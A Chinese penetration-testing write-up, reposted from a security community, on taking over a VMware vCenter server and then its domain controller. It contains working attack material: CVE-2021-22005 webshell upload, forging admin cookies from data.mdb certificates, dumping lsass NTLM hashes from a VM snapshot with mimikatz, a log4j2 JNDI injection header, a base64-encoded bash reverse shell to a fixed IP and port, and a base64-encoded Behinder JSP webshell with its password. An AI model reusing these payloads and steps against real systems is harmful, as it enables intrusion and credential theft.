来源:先知社区,作者: SafetyCockpit03
原文:https://xz.aliyun.com/t/14893
针对VMware vCenter的介绍就不多说了,大佬们可以自己搜搜。这里只分享过程和踩到的坑点&技巧。
坑点&技巧总结
总体流程分为三大步:
拿wenshell-->获取登录Cookie-->获取域控账密/hash(有域控的情况下)
相应的坑点&技巧也分别在不同的阶段说明,不想看过程的佬可以直接看总结:
拿webshell阶段: 1.上传webshell使用https协议; 2.存在多个漏洞时,优先使用CVE-2021-22005,因为该漏洞上去权限为root,不用进行提权;log4j2得到的shell一般也是root权限; 3.使用log4j2Poc时,注意/sso后面的域名信息; 获取登录Cookie阶段: 1.3gstudent大佬优化的脚本,获取Cookie时省去了装某些Python环境的麻烦; 2.下载data.mdb文件后,分析不出证书,可以重新下载或者将脚本上传到目标服务器试试; 3.获取到Cookie后,在IP后拼接/ui访问进入控制台页面; 4.在控制台生成的快照可能不在本机,需要在相似名字的辅助机器找找; 获取域控账密/hash阶段: 1.可以使用VM安装目录自带的Vmss2core,将vmem和vmsn文件转储为dmp文件;
过程如下:
1. 获取webshell
指纹识别
拿到资产 https ://10.x.x.x
棱洞识别效果:
判断版本
https ://x.x.x.x/sdk/vimServiceVersions.xml
CVE-2021-22005漏洞利用
这里使用的是cve-2021-22005,所以就只介绍这个漏洞,影响范围:
● vCenter Server 7.0 < 7.0 U2c build-18356314
● vCenter Server 6.7 < 6.7 U3o build-18485166
● Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
● Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
● 6.7 vCenters Windows版本不受影响
使用exp.py上传马儿(exp文末给出):
然而
这里以为是有什么防护软件,结果发现是协议或者端口问题,只能利用https去上传马儿:
冰蝎连接:root权限
这里给出Linux下,上传的shell地址(方便后面log4j2上传webshell):
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/
2. 获取vCenter Cookie登录
存储关键身份验证信息数据位置:
Linux: /storage/db/vmware-vmdir/data.mdbWindows:C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb\
该脚本是经过大佬优化的,省去了装环境的麻烦。详情见:
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates
先使用这个脚本,生成如下三个文件(如果data.mdb文件太大,就可以将该脚本上传到服务器上,然后生成下面三个文件):
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
这里重命名为1.py了:
python3 1.py data.mdb
再使用这个脚本:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
生成cookie:
python 2.py 10.x.x.x 10.x.x.x vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
其中vsphere.local是上一步获取到的Domain
获取cookie:
然后访问,F12添加cookie:
添加完后注意,不要直接刷新,而是访问https: //ip/ui,否则就会这样
这里在URL地址栏,拼接/ui刷新后即可进来:
3 获取域控账密/hash
进到控制台后,如果发现域控机器,就可以使用生成快照,然后用工具分析快照文件抓hash。因为机器都是生产相关的机器,不能使用克隆虚拟机等的骚操作,所以这里只介绍生成快照的方式。
前期获取快照的方式都是一样的,如图所示,生成快照
数据存储中翻文件,找刚生成的快照:不确定的话两个都找找
这里找了好久没找到,最后发现快照在辅助域控的机器上生成:
然后就是下载。
该工具,在VM安装目录下自带,就不用去别的地方下载了。选中VM图标,右键“打开文件位置”即可。
需要注意的是,不能把他复制出来使用,直接把vmem和vmsn文件,复制到vmss2core所在目录即可:
目标VM是MicrosoftWindows8/8.1、WindowsServer2012、WindowsServer2016、WindowsServer2019,则执行-W8,否则使用-W:vmss2core.exe-W8"Snapshot42.vmsn""Snapshot42.vmem"
执行成功,会生成memory.dmp文件,如下图所示:
接下来就是用Windbg分析了,下载链接如下:
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/
安装过程没什么难的,就不说了。
装好后点击左上角“文件”,然后按图所示一次打开dmp文件:
然后找到mimikatz的安装目录,加载mimilib.dll:
给出mimikatz的下载链接:
https://github.com/gentilkiwi/mimikatz/releases.load D:\Tools\AnalysisTools\mimikatz\x64\mimilib.dll
然后重新加载:
.reload
查看lsass.exe进程的内存地址
!process00lsass.exe
换到lsass.exe进程中
.process/r/pffffe001c2ddf080
运行mimikatz,得到NTLM哈希值:
!mimikatz
后续就是验证hash,横向了。
4 log4j2 注意事项
注意这里有个坑,不能盲目使用Poc:
如果访问https://ip:port,跳转到了某个域名链接,那么/SSO/后面跟的就是该域名domain.com,如:
否则就是vsphere.local
GETHTTP/1.1 Host:10.1.1.1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.116Safari/537.36 X-Forwarded-For:${jndi:ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho} cmd:whoami
说白了,就是使用正确的URL。
反弹shell可以使用
echo-nYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4zLjEuMS8zMzMzMyAwPiYx|base64-d|bash
这样子操作不太方便,不想进行添加用户/写公钥等复杂操作的话,我们写入冰蝎马:路径为:
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/
命令为:
echo-nc3VjY2VzcyE8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpe1N0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtDaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKGsuZ2V0Qnl0ZXMoKSwiQUVTIikpO25ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGMuZG9GaW5hbChuZXcgc3VuLm1pc2MuQkFTRTY0RGVjb2RlcigpLmRlY29kZUJ1ZmZlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpKSkubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpO30lPg==|base64-d>pgtest.jsp
然后访问 https ://10.x.x.x/idm/..;/pgtest.jsp
冰蝎连接,密码是rebeyond
接下来就是上面获取Cookie的重复操作了。
原文始发于微信公众号(星落安全团队):干货 | 记一次VMware vCenter渗透过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论